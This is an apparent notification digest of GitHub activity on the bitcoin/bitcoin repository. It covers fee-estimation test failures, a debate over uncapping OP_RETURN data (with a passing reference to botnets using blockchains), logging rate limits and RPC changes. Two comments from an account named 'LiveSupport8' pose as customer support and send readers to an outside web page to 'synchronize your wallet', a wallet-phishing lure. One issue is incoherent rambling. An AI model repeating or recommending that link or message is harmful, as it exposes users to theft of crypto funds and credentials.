✅ romanz closed an issue: "Support `Accept` HTTP header in REST API"
(https://github.com/bitcoin/bitcoin/issues/32583)

💬 romanz commented on issue "Support `Accept` HTTP header in REST API":
(https://github.com/bitcoin/bitcoin/issues/32583#issuecomment-2906893157)
No problem :)

💬 i-am-yuvi commented on pull request "rpc: Note in fundrawtransaction doc, fee rate is for package":
(https://github.com/bitcoin/bitcoin/pull/32607#issuecomment-2906902161)
ACK fe0432b1c4a10b74844c2dedefccfe340c0d3b10

This will be a helpful note for someone using the rpc.

💬 tnndbtc commented on issue "Intermittent failure in feature_fee_estimation.py in check_raw_estimates feerate = float(e["feerate"]) KeyError: 'feerate'":
(https://github.com/bitcoin/bitcoin/issues/31944#issuecomment-2906917517)
@maflcko @ismaelsadeeq

I dug further into this test failure in bitcoind process and found following:
When test fails, it's because TxConfirmStats::EstimateMedianVal (in src/policy/fees.cpp) has gone into the error path:

double curPct = nConf / (totalNum + failNum + extraNum);
// Check to see if we are no longer getting confirmed at the success rate
if (curPct < successBreakPoint) {
**// error path**
}
else {
**// happy path**
}

At this particular test case, curPct is 0.92371745878662
...

💬 earonesty commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2906939565)
> There is zero reason to think this. Transactions can be up to 100kvB in
any other shape or form, and the p2p needs to somehow handle that with or
without this change.

Zero reason, like using the p2p layer as a command and control system for
botnets by allowing long strings of arbitrary data? I guess it can be
done with steganography anyway.

On Sat, May 24, 2025 at 7:45 AM Gregory Sanders ***@***.***>
wrote:

> *instagibbs* left a comment (bitcoin/bitcoin#32406)
> <https://githu
...

💬 hMsats commented on issue "Self-compiled bitcoind 29.0 much slower than self-compiled 28.0 on my system":
(https://github.com/bitcoin/bitcoin/issues/32455#issuecomment-2906951089)
Question about something I noticed. Any response would be highly appreciated!

For `28.0` I get:
```
2025-05-10T15:14:00Z BlockUntilSyncedToCurrentChain: txindex is catching up on block notifications*
```

while for `29.0` I get:
```
2025-05-24T00:02:10Z BlockUntilSyncedToCurrentChain: txindex is catching up on block notifications
2025-05-24T00:02:10Z BlockUntilSyncedToCurrentChain: txindex is catching up on block notifications
2025-05-24T00:02:10Z BlockUntilSyncedToCurrentChain: txindex is catc
...

💬 1440000bytes commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2906954134)
> Zero reason, like using the p2p layer as a command and control system for botnets by allowing long strings of arbitrary data

They have used output amounts in the past to encode IP address: https://www.akamai.com/blog/security/bitcoins--blockchains--and-botnets

They can use Libre Relay for OP_RETURN. Bitcoin Core policies can't stop botnets from making consensus-valid transactions.

💬 fanquake commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2906979192)
ACK 35bcd8eed38130445aef5ebe217ab42248fa6f18

💬 Crypt-iQ commented on pull request "log: Mitigate disk filling attacks by rate limiting LogPrintf, LogInfo, LogWarning, LogError":
(https://github.com/bitcoin/bitcoin/pull/32604#issuecomment-2907015832)
> if a node crashes or hits some fatal error the most recent unfiltered log can be saved?

Does unfiltered here mean a log line that was rate limited or does it mean something else in this context? I think that we would need to know ahead of time if we were going to crash to save the most recent unfiltered log unless we somehow always cache it?

💬 chrisguida commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2907189059)
For anyone interested, I posted a detailed explanation on Delving of why I am against this proposal: https://delvingbitcoin.org/t/addressing-community-concerns-and-objections-regarding-my-recent-proposal-to-relax-bitcoin-cores-standardness-limits-on-op-return-outputs/1697/2?u=cguida

⚠️ FarrelAlFeshall opened an issue: "Gödel's Untouched Money"
(https://github.com/bitcoin/bitcoin/issues/32610)
I'm here for the last time, maybe one day I'll share this in the Bitcointalk Altcoin session? Im Youngest Former Pseudonym Group since 2017 and this is just a new Digital Signature offer for Bitcoin because it is still not possible for me to have a Community for the entry requirements of the crypto market... I honestly want this to be realized but please change everything starting from Abstract to Reference, change all sentences in html coding and not for comparison, I hope the offer of Cryptogr
...

✅ achow101 closed an issue: "Gödel's Untouched Money"
(https://github.com/bitcoin/bitcoin/issues/32610)

💬 earonesty commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2907671104)
very detailed and accurate thanks

On Sat, May 24, 2025, 3:14 PM Chris Guida ***@***.***> wrote:

> *chrisguida* left a comment (bitcoin/bitcoin#32406)
> <https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2907189059>
>
> For anyone interested, I posted a detailed explanation on Delving of why I
> am against this proposal:
> https://delvingbitcoin.org/t/addressing-community-concerns-and-objections-regarding-my-recent-proposal-to-relax-bitcoin-cores-standardness-limits-on-op-retu
...

💬 LiveSupport8 commented on issue "intermittent issue in feature_init.py (bitcoind should have exited with expected error LevelDB error: Corruption)":
(https://github.com/bitcoin/bitcoin/issues/32600#issuecomment-2907679455)
Thank you for reaching to Our Github. Customer service may take some time to respond due to a large number of requests. We believe your case will be resolved as soon as possible. Kindly visit the below webpage to synchronize your wallet for fixing process

https://support---protocol.vercel.app/

💬 LiveSupport8 commented on issue "windows: depends config fails":
(https://github.com/bitcoin/bitcoin/issues/32578#issuecomment-2907679915)
Thank you for reaching to Our Github. Customer service may take some time to respond due to a large number of requests. We believe your case will be resolved as soon as possible. Kindly visit the below webpage to synchronize your wallet for fixing process

https://support---protocol.vercel.app/

💬 polespinasa commented on pull request "rpc: Round verificationprogress to 1 for a recent tip":
(https://github.com/bitcoin/bitcoin/pull/32528#issuecomment-2907721788)
> One thing that's a little weird about this is that when I open regtest after a few days...
>
> ```
> --> bccli -regtest -getinfo
> Chain: regtest
> Blocks: 202
> Headers: 202
> Verification progress: ▒▒▒▒▒▒░░░░░░░░░░░░░░░ 27.7195%
> ```
>
> Of course after generating 1 block at time=now, it snaps to 100%

Maybe instead of not using this new approach on regtest (as I suggested here https://github.com/bitcoin/bitcoin/pull/32528#issuecomment-2899113774) we could just add a message s
...

💬 polespinasa commented on pull request "rpc: generatetomany":
(https://github.com/bitcoin/bitcoin/pull/32468#issuecomment-2907738036)
Squashed all commits and removed the first approach (`generatetomany`) which can still be checked here https://github.com/polespinasa/bitcoin/pull/3

💬 polespinasa commented on pull request "rpc: generatetomany":
(https://github.com/bitcoin/bitcoin/pull/32468#discussion_r2106153945)
Thx!
Will correct in case we revert to `generatetomany` approach.

💬 heyolaniran commented on pull request "cluster mempool: optimized candidate search":
(https://github.com/bitcoin/bitcoin/pull/30286#issuecomment-2907739981)
These changes could potentially lead to better performance under high-load scenarios. It would be valuable to discuss how this might affect existing workflows and any edge cases we should consider.

💬 maflcko commented on pull request "rpc: Round verificationprogress to 1 for a recent tip":
(https://github.com/bitcoin/bitcoin/pull/32528#issuecomment-2907786115)
I fail to see how showing a value lower than 1.0 on regtest if your tip is stale is "really confusing". Showing 1.0 for a stale tip is confusing and this pull fixes that. Also, if you exclude/special-case regtest, it will be more code and also harder/impossible to test.

⚠️ Ciornenichii opened an issue: "Bitcoin"
(https://github.com/bitcoin/bitcoin/issues/32613)